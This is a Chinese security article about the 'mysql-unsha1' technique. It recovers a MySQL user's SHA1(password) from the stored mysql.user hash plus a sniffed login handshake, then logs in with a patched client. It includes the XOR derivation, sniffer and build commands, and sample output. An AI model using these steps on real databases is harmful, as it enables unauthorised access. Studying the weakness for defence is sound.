本文讲的是
mysql-unsha1:在未知密码情况下,登录任意MYSQL数据库,
摘要
1.为了获取到已知用户的hash,我们需要读取到目标数据库中的mysql.user表。 2.能够拦截到上述已知用户执行成功的认证信息(即通过SSL认证无法攻击成功)。
mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root'; *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 mysql> SELECT PASSWORD('password'); *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 mysql> SELECT SHA1(UNHEX(SHA1('password'))); 2470c0c06dee42fd1618bb99005adca2ec9d1e19
x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
1.将h设置为我们在mysql.user表中得到的经过编码的password。 2.s和x是我们通过拦截通信得到的盐和经过处理的密码。
SHA1(password) = x XOR SHA1(s + h)
1.一个简单的嗅探器,用于从PCAP文件中提取和检查实时或离线的握手信息; 2.允许将登录的密码设置为SHA1摘要,而不是明文密码的补丁.
sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root
[+] Input: [+] - username ........................ 'root' [+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49 [+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329 [+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19 [+] Output: [+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 [+] Check: [+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19 [+] - authentication status ........... OK
wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz tar xf mysql-5.7.17.tar.gz cd mysql-server-mysql-5.7.17
patch -p1 </path/to/mysql-server-unsha1.patch
mkdir build cd build cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON .. make -j$(nproc)
sudo cp client/mysql /usr/local/bin/mysql-unsha1 cd ../.. rm -fr mysql-server-mysql-5.7.17
mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8')); 2470c0c06dee42fd1618bb99005adca2ec9d1e19
原文发布时间为:2017年3月22日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。